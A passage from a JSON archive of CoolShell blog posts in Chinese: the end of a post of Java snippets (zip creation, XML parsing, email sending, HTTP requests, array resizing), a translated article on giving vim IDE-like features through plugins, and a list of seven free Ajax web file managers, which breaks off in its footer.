\n</pre>\n<p><strong>15. 创建ZIP和JAR文件<br/>\n</strong></p>\n<pre class=\"EnlighterJSRAW\"> \nimport java.util.zip.*;  \nimport java.io.*;  \n \npublic class ZipIt {  \n    public static void main(String args[]) throws IOException {  \n        if (args.length &lt; 2) {  \n            System.err.println(\"usage: java ZipIt Zip.zip file1 file2 file3\");  \n            System.exit(-1);  \n        }  \n        File zipFile = new File(args[0]);  \n        if (zipFile.exists()) {  \n            System.err.println(\"Zip file already exists, please try another\");  \n            System.exit(-2);  \n        }  \n        FileOutputStream fos = new FileOutputStream(zipFile);  \n        ZipOutputStream zos = new ZipOutputStream(fos);  \n        int bytesRead;  \n        byte[] buffer = new byte[1024];  \n        CRC32 crc = new CRC32();  \n        for (int i=1, n=args.length; i &lt; n; i++) {  \n            String name = args[i];  \n            File file = new File(name);  \n            if (!file.exists()) {  \n                System.err.println(\"Skipping: \" + name);  \n                continue;  \n            }  \n            BufferedInputStream bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            crc.reset();  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                crc.update(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n            // Reset to beginning of input stream  \n            bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            ZipEntry entry = new ZipEntry(name);  \n            entry.setMethod(ZipEntry.STORED);  \n            entry.setCompressedSize(file.length());  \n            entry.setSize(file.length());  \n            entry.setCrc(crc.getValue());  \n            zos.putNextEntry(entry);  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                zos.write(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n        }  \n        zos.close();  \n    }  \n} \n</pre>\n<p><strong>16. 解析/读取XML 文件</strong></p>\n<p>XML文件<br/>\n </p>\n<pre class=\"EnlighterJSRAW\">\n&lt;?xml version=\"1.0\"?&gt; \n&lt;students&gt; \n    &lt;student&gt; \n        &lt;name&gt;John&lt;/name&gt; \n        &lt;grade&gt;B&lt;/grade&gt; \n        &lt;age&gt;12&lt;/age&gt; \n    &lt;/student&gt; \n    &lt;student&gt; \n        &lt;name&gt;Mary&lt;/name&gt; \n        &lt;grade&gt;A&lt;/grade&gt; \n        &lt;age&gt;11&lt;/age&gt; \n    &lt;/student&gt; \n    &lt;student&gt; \n        &lt;name&gt;Simon&lt;/name&gt; \n        &lt;grade&gt;A&lt;/grade&gt; \n        &lt;age&gt;18&lt;/age&gt; \n    &lt;/student&gt; \n&lt;/students&gt; \n</pre>\n<p>Java代码</p>\n<pre class=\"EnlighterJSRAW\"> \npackage net.viralpatel.java.xmlparser;  \n \nimport java.io.File;  \nimport javax.xml.parsers.DocumentBuilder;  \nimport javax.xml.parsers.DocumentBuilderFactory;  \n \nimport org.w3c.dom.Document;  \nimport org.w3c.dom.Element;  \nimport org.w3c.dom.Node;  \nimport org.w3c.dom.NodeList;  \n \npublic class XMLParser {  \n \n    public void getAllUserNames(String fileName) {  \n        try {  \n            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  \n            DocumentBuilder db = dbf.newDocumentBuilder();  \n            File file = new File(fileName);  \n            if (file.exists()) {  \n                Document doc = db.parse(file);  \n                Element docEle = doc.getDocumentElement();  \n \n                // Print root element of the document  \n                System.out.println(\"Root element of the document: \" \n                        + docEle.getNodeName());  \n \n                NodeList studentList = docEle.getElementsByTagName(\"student\");  \n \n                // Print total student elements in document  \n                System.out  \n                        .println(\"Total students: \" + studentList.getLength());  \n \n                if (studentList != null &amp;&amp; studentList.getLength() &gt; 0) {  \n                    for (int i = 0; i &lt; studentList.getLength(); i++) {  \n \n                        Node node = studentList.item(i);  \n \n                        if (node.getNodeType() == Node.ELEMENT_NODE) {  \n \n                            System.out  \n                                    .println(\"=====================\");  \n \n                            Element e = (Element) node;  \n                            NodeList nodeList = e.getElementsByTagName(\"name\");  \n                            System.out.println(\"Name: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(\"grade\");  \n                            System.out.println(\"Grade: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(\"age\");  \n                            System.out.println(\"Age: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n                        }  \n                    }  \n                } else {  \n                    System.exit(1);  \n                }  \n            }  \n        } catch (Exception e) {  \n            System.out.println(e);  \n        }  \n    }  \n    public static void main(String[] args) {  \n \n        XMLParser parser = new XMLParser();  \n        parser.getAllUserNames(\"c:\\\\test.xml\");  \n    }  \n} \n</pre>\n<p><strong>17. 把 Array 转换成 Map </strong></p>\n<pre class=\"EnlighterJSRAW\"> \nimport java.util.Map;  \nimport org.apache.commons.lang.ArrayUtils;  \n \npublic class Main {  \n \n  public static void main(String[] args) {  \n    String[][] countries = { { \"United States\", \"New York\" }, { \"United Kingdom\", \"London\" },  \n        { \"Netherland\", \"Amsterdam\" }, { \"Japan\", \"Tokyo\" }, { \"France\", \"Paris\" } };  \n \n    Map countryCapitals = ArrayUtils.toMap(countries);  \n \n    System.out.println(\"Capital of Japan is \" + countryCapitals.get(\"Japan\"));  \n    System.out.println(\"Capital of France is \" + countryCapitals.get(\"France\"));  \n  }  \n} \n</pre>\n<p><strong>18. 发送邮件</strong></p>\n<pre class=\"EnlighterJSRAW\">\nimport javax.mail.*;  \nimport javax.mail.internet.*;  \nimport java.util.*;  \n \npublic void postMail( String recipients[ ], String subject, String message , String from) throws MessagingException  \n{  \n    boolean debug = false;  \n \n     //Set the host smtp address  \n     Properties props = new Properties();  \n     props.put(\"mail.smtp.host\", \"smtp.example.com\");  \n \n    // create some properties and get the default Session  \n    Session session = Session.getDefaultInstance(props, null);  \n    session.setDebug(debug);  \n \n    // create a message  \n    Message msg = new MimeMessage(session);  \n \n    // set the from and to address  \n    InternetAddress addressFrom = new InternetAddress(from);  \n    msg.setFrom(addressFrom);  \n \n    InternetAddress[] addressTo = new InternetAddress[recipients.length];  \n    for (int i = 0; i &lt; recipients.length; i++)  \n    {  \n        addressTo[i] = new InternetAddress(recipients[i]);  \n    }  \n    msg.setRecipients(Message.RecipientType.TO, addressTo);  \n \n    // Optional : You can also set your custom headers in the Email if you Want  \n    msg.addHeader(\"MyHeaderName\", \"myHeaderValue\");  \n \n    // Setting the Subject and Content Type  \n    msg.setSubject(subject);  \n    msg.setContent(message, \"text/plain\");  \n    Transport.send(msg);  \n} \n</pre>\n<p><strong>19. 发送代数据的HTTP 请求</strong></p>\n<pre class=\"EnlighterJSRAW\"> \nimport java.io.BufferedReader;  \nimport java.io.InputStreamReader;  \nimport java.net.URL;  \n \npublic class Main {  \n    public static void main(String[] args)  {  \n        try {  \n            URL my_url = new URL(\"https://coolshell.cn/\");  \n            BufferedReader br = new BufferedReader(new InputStreamReader(my_url.openStream()));  \n            String strTemp = \"\";  \n            while(null != (strTemp = br.readLine())){  \n            System.out.println(strTemp);  \n        }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n    }  \n}\n</pre>\n<p><strong>20. 改变数组的大小</strong></p>\n<pre class=\"EnlighterJSRAW\"> \n/** \n* Reallocates an array with a new size, and copies the contents \n* of the old array to the new array. \n* @param oldArray  the old array, to be reallocated. \n* @param newSize   the new array size. \n* @return          A new array with the same contents. \n*/ \nprivate static Object resizeArray (Object oldArray, int newSize) {  \n   int oldSize = java.lang.reflect.Array.getLength(oldArray);  \n   Class elementType = oldArray.getClass().getComponentType();  \n   Object newArray = java.lang.reflect.Array.newInstance(  \n         elementType,newSize);  \n   int preserveLength = Math.min(oldSize,newSize);  \n   if (preserveLength &gt; 0)  \n      System.arraycopy (oldArray,0,newArray,0,preserveLength);  \n   return newArray;  \n}  \n \n// Test routine for resizeArray().  \npublic static void main (String[] args) {  \n   int[] a = {1,2,3};  \n   a = (int[])resizeArray(a,5);  \n   a[3] = 4;  \n   a[4] = 5;  \n   for (int i=0; i&lt;a.length; i++)  \n      System.out.println (a[i]);  \n}\n</pre>\n<p><strong>(全文完)</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/889.html\">20非常有用的Java程序片段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-23 将vim变得简单如何在vim中得到你最喜爱的IDE特性.html",
    "content": "<html><body><p>原文出处:<a href=\"http://arstechnica.com/open-source/guides/2009/05/vim-made-easy-how-to-get-your-favorite-ide-features-in-vim.ars\">这里</a></p>\n<p><strong>摘要：</strong><br/>\n开源的vim文本编辑器提供许多灵活而强大的功能，但是vim自身是很难被配置使用的，在本教材中，我们将向你显示通过几个简单的方式使得你的vim具有集成开发环境IDE的行为</p>\n<p>vim是很多程序员和系统管理员最爱的文本编辑器，虽然他提供了很多优秀而灵活的功能，但是对于新手来说他依然是难于上手的。从传统集成开发环境转到vim的开发人员通常会开在发方式的转变中发现迷失了自己。</p>\n<p>我经常收到来自于读者的邮件，他们希望能找到一种方式使得vim变得对开发者更友好。一个常见的抱怨是vim并不是自身就带有IDE的特性，并且如何来通过配置能得到等价IDE功能也不是很清晰。而揭开vim真正神奇的秘密就是利用强大的vim插件系统和对vim自身功能的改善和增强的第三方脚本。在阅你读本文之前，我已经整理好了一个vim的有用tips和插件列表，这些列表中的内容将会使那些用惯IDE功能的人们在vim上感到宾至如归的感觉。</p>\n<p><span id=\"more-894\"></span></p>\n<p>虽然vim主要是设计给基于字符方式的文本编辑器，并且它有可能是这类编辑器中最高效的工具，但是现在在vim上也存在一些更适合新手使用的基于图形的外壳。不像运行在终端窗口上的vim，你可以尝试使用一下gvim,一个基于GUI的vim版本。gvim拥有可配置的的菜单和工具条，因此可以通过鼠标直接访问到vim的编程上的最本质的特性。gvim可以让你使用操作系统自带的文件对话框，并允许你通过鼠标点击拖拉编辑面板的能力。gvim有windows和linux的版本，等价的Mac OS X的版本是MacVim，MacVim提供了Mac机的本地Cocoa用户接口，包括菜单集成的功能。<br/>\n<a href=\"https://coolshell.cn/?attachment_id=896\" rel=\"attachment wp-att-896\"><img alt=\"vimtxt_gvim_ars\" class=\"aligncenter size-full wp-image-896\" height=\"648\" src=\"../wp-content/uploads/2009/05/vimtxt_gvim_ars.jpg\" title=\"vimtxt_gvim_ars\" width=\"708\"/></a></p>\n<p>我听到来自vim用户最经常被抱怨的功能是vim的编辑区列表非常麻烦，并且没有一种简单的方式可以明了的看到什么文件是打开的。在vim上有几个插件可以解决这个问题，并提供了一个额外的编辑区列表用于方便在打开文件中切换。我最喜欢的一个插件是<a href=\"http://www.vim.org/scripts/script.php?script_id=159\">MiniBufExplorer</a>，它将列表显示在窗口的头上。当MiniBufExplorer被激活时，你可以通过tab键来在列表的这些项中循环，然后通过回车键或双击鼠标来选择在编辑区显示和你要处理的文件。<br/>\n<a href=\"https://coolshell.cn/?attachment_id=898\" rel=\"attachment wp-att-898\"><img alt=\"vimtxt_vim_minibufexplorer_ars\" class=\"aligncenter size-full wp-image-898\" height=\"393\" src=\"../wp-content/uploads/2009/05/vimtxt_vim_minibufexplorer_ars.jpg\" title=\"vimtxt_vim_minibufexplorer_ars\" width=\"478\"/></a></p>\n<p>许多的IDE工具都有用于显示你程序项目结构和允许你通过鼠标在特定的类和方法间跳转的代码导航区。你可以通过使用流行的<a href=\"http://vim-taglist.sourceforge.net/installation.html\">Tag List 插件</a>来得到这个特性。这个插件需要<a href=\"http://ctags.sourceforge.net/\">Exuberant Ctags</a>实用工具，这个工具用于分析你的代码。TagList可以通过命令:Tlist来激活，并将你的类和方法显示在激活的区域，当你打开其他的文件或切换到其他打开文件时，新的类或方法会被加到代码导航区。在gvim中你可以通过单击方法名跳到对应方法定义。如果要使用键盘，那么通过光标键上下移光标到你希望的方法处，单击回车即可达到目标。</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=895\" rel=\"attachment wp-att-895\"><img alt=\"vimtxt_vim_taglist_ars\" class=\"aligncenter size-full wp-image-895\" height=\"854\" src=\"../wp-content/uploads/2009/05/vimtxt_vim_taglist_ars.jpg\" title=\"vimtxt_vim_taglist_ars\" width=\"720\"/></a></p>\n<p>自动文本完成(<strong>译者注</strong>：就是eclipse，visual studio中常见的输入前几个字符后面的内容通过列表显示的功能)是另外一种在IDE工具中常用特性，并且很多用户都希望在vim中有这些特性。这个特性已经在vim7中通过<a href=\"http://vim.wikia.com/wiki/Omni_completion\">Omnicompletion system</a>被引入进来。它是可编程，这就意味着你可以通过定制，使的这个功能能在各种个样的编程语言中使用，在vim中甚至存在对动态语言python或ruby生效的自动文本完成功能。现在，自动文本完成的配置已经变成了vim包中的一个部分，所以现在你可以什么都不做就能让这个功能生效。要调出自动完成菜单(列表)，你需要敲下ctrl+x和ctrl+o键，接着你可以用ctrl+n和ctrl+p在可能完成列表中进行上下选择，当你移动到一个选项，vim将为你在另外一个Scratch区域显示带方法说明和属性的上下文帮助信息。<br/>\n<a href=\"https://coolshell.cn/?attachment_id=897\" rel=\"attachment wp-att-897\"><img alt=\"vimtxt_vim_completion_ars\" class=\"aligncenter size-full wp-image-897\" height=\"850\" src=\"../wp-content/uploads/2009/05/vimtxt_vim_completion_ars.jpg\" title=\"vimtxt_vim_completion_ars\" width=\"708\"/></a></p>\n<p>你可以多种方式来改善你的vim体验，<a href=\"http://vim.wikia.com/wiki/Main_Page\">vim维基vim wiki</a>和<a href=\"http://www.vim.org/scripts/index.php\">脚本库script repository</a>为你提供了可用于增强功能的第三方增强扩展集合。这些插件实现sinppet system，outlining tools，项目管理工具，和大量的其他的特性。同时还有大量的脚本实现了对某些特定编程语言和框架的增强。例如有一个<a href=\"http://www.vim.org/scripts/script.php?script_id=1567\">非常流行的脚本</a>，这个脚本将会改善你Ruby的语法高亮，并且为你Ruby on Rail的部署提供了非常方便的导航特性</p>\n<p>同时也有一些<a href=\"http://cream.sourceforge.net/\">面向新手的脚本集合</a>，这个集合使得vim的行为变得更像一个带有简单菜单和快捷键的传统的文本编辑器。如果你对vim那些神秘键盘命名感到不舒服的话，你可以选择这个作为你使用vim的开始。</p>\n<p>vim的多样性使得它满足不同的用户使用。对于那些没有时间，能力，和爱好去通过自己去建立一个完美vim配置的人来说，无数的第三方脚本和插件为你提供了一种简单的方式，通过这种方式你可以付出很少的努力就能得到你想要的功能和特性。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-24 7个免费强大的Ajax文件管理器.html",
    "content": "<html><body><p>如果你正在开发一个WEB应用，需要一个不错的强大的文件管理器，并且可以简单的定制，那么，下面的这七个免费开源的文件管理器你一会喜欢的。这些文件管理器都很强大，他们全部都支持PHP，Javascript和Ajax，有几个还支持别的WEB开发语言。这些管理理可以让你完成目录文件浏览，搜索，上传/下载，编辑，拷贝，移动，删除等等文件操作功能。</p>\n<h3 class=\"title\">1. <a href=\"http://www.ajaxplorer.info/\">AjaXplorer</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager4.jpg\"/></p>\n<p>AjaXplorer 是一个免费的 Ajax 文件管理器，其很容易安装。而且它的布局很丰富，可以用于多种应用，比如：文件管理，文件共享，图片库，代码库等等。不过它只支持(4 呀 5) ，不支持数据库。</p>\n<p><span id=\"more-909\"></span></p>\n<ul>\n<li>改名/拷贝/移动/删除/下载文件或目录。</li>\n<li>以进度条的方式上传多个文件 (需要Flash 支持，不支持https)</li>\n<li>创建目录和空文件。</li>\n<li>编辑纯文本文件和代码 (js, php, html, java, sql, perl)，支持语法高亮。</li>\n<li>查看图片，有缩略图功能。</li>\n<li>可以在线地播放MP3文件。</li>\n<li>在线地查看Flash videos (FLV) 文件。</li>\n<li>可以在线地浏览或解压ZIP 文件。</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>下载</strong>：<a href=\"http://www.ajaxplorer.info/download/\">http://www.ajaxplorer.info/download/</a></li>\n<li><strong>演示</strong>：<a href=\"http://www.ajaxplorer.info/demo/\">http://www.ajaxplorer.info/demo/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://www.ajaxplorer.info/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://www.ajaxplorer.info/download/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">2. <a href=\"http://filenice.com/\">fileNice</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager1.jpg\"/></p>\n<p>fileNice 是一个免费的PHP文件浏览器。</p>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>主页：</strong><a href=\"http://filenice.com/\">http://filenice.com/</a></li>\n<li><strong>演示：</strong><a href=\"http://filenice.com/demo/\">http://filenice.com/demo/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://filenice.com/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://filenice.com/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">3. <a href=\"http://www.solitude.dk/filethingie/\">File Thingie</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager2.jpg\"/></p>\n<p>File Thingie 是一个小型的文件管理器。由PHP写成。他主要的目的是提示一个WEB界面的文件管理器（如果你不能使用或是不会使用FTP）。通过File Thingie你可以完成下面这些事：</p>\n<ul>\n<li>安装简单— 只有一个文件</li>\n<li>多文件上传</li>\n<li>多用户和用户组</li>\n<li>创建子目录</li>\n<li>改名，移动，删除，拷贝文件和目录</li>\n<li>搜索文件或目录名</li>\n<li>通过黑/白名单进行文件级的存取控制</li>\n<li>编辑纯文本文件</li>\n<li>在线Unzip 文件</li>\n<li>非常容易地进行CSS界面定制</li>\n<li>支持多国语言</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>教程：</strong><a href=\"http://www.solitude.dk/filethingie/tour\">http://www.solitude.dk/filethingie/tour</a></li>\n<li><strong>下载：</strong><a href=\"http://www.solitude.dk/filethingie/download\">http://www.solitude.dk/filethingie/download</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://www.solitude.dk/filethingie/tour\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://www.solitude.dk/filethingie/download\" target=\"_blank\"></a></div>\n<h3 class=\"title\">4. <a href=\"http://og5.net/christoph/article/MooTools_based_FileManager\">MooTools based FileManager</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager3.jpg\"/></p>\n<p>MooTools based File-Manager 提供了预览，上传和修改文件和目录的功能。其主要功能如下：</p>\n<ul>\n<li>浏览文件和目录</li>\n<li>改名，删除，移动（拖放）,拷贝（Ctrl+拖放）和下载</li>\n<li>查看文件细节和预览图片文件，文本文件，压缩文件和音频文件。</li>\n<li>非常不错的UI设计 </li>\n<li>通过FancyUpload 上传文件</li>\n<li>提供在上传时自动缩放图片尺寸的选项</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://og5.net/christoph/Scripts/FileManager/Demos/\">http://og5.net/christoph/Scripts/FileManager/Demos/</a></li>\n<li><strong>下载：</strong><a href=\"http://og5.net/christoph/article/MooTools_based_FileManager\">http://og5.net/christoph/article/MooTools_based_FileManager</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://og5.net/christoph/Scripts/FileManager/Demos/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://og5.net/christoph/article/MooTools_based_FileManager\" target=\"_blank\"></a></div>\n<h3 class=\"title\">5. <a href=\"http://ecosmear.com/relay/\">Relay</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager5.jpg\"/></p>\n<p>Relay 是一个极牛的Ajax 文件管理器。在上传和下载文件它做得相当出色。下面是它的一些功能：</p>\n<ul>\n<li>可以随意拖放文件和目录</li>\n<li>动态地载入文件目录结构 </li>\n<li>上传文件进度条 </li>\n<li>缩略图预览（包括PDF文件） </li>\n<li>多用户和帐号</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://ecosmear.com/relay/demo/\">http://ecosmear.com/relay/demo/</a></li>\n<li> <strong>主页：</strong><a href=\"http://ecosmear.com/relay/\">http://ecosmear.com/relay/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://ecosmear.com/relay/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://ecosmear.com/relay/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">6. <a href=\"http://kfm.verens.com/\">Kae’s File Manager</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager8.jpg\"/></p>\n<p>KFM 是一个在线的文件管理器，它可以单独使用或是以一个插件的方式给一些编辑器使用。比如这些编辑器：FCKeditor 或TinyMCE。KFM 是一个开源的免费的项目，下面是它的一些特性：</p>\n<ul>\n<li>鼠标拖放功能</li>\n<li>图标显示，列表显示</li>\n<li>支持插件</li>\n<li>图片操作，幻灯片播放</li>\n<li>简单的安装和升级</li>\n<li>文本编辑时语法高亮</li>\n<li>搜索引擎</li>\n<li>标签</li>\n<li>多语言</li>\n<li>mp3 和视频播放插件</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://kfm.verens.com/demo/1.3.1/?lang=en\">http://kfm.verens.com/demo/1.3.1/?lang=en</a></li>\n<li><strong>主页：</strong><a href=\"http://kfm.verens.com/\">http://kfm.verens.com/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://kfm.verens.com/demo/1.3.1/?lang=en\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://kfm.verens.com/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">7. <a href=\"http://extplorer.sourceforge.net/\">eXtplorer</a></h3>\n<p class=\"img\"><img alt=\"Ajax File Manager\" src=\"http://devsnippets.com/img/file-manager7.jpg\"/></p>\n<p>eXtplorer 特性如下：</p>\n<ul>\n<li>文件目录浏览</li>\n<li>编辑，复制，移动，删除文件</li>\n<li>搜索，上传和下载文件</li>\n<li>创建和释放压缩文件</li>\n<li>创建文件和目录</li>\n<li>更改文件和目录权限</li>\n<li>其它更多更多的内容</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>主页：</strong> <a href=\"http://extplorer.sourceforge.net/\">http://extplorer.sourceforge.net/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://extplorer.sourceforge.net/extplorer.png\" target=\"_blank\"></a>文章：<a href=\"http://devsnippets.com/article/ajax/7-free-powerful-file-managers.html\" target=\"_blank\">来源</a></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> 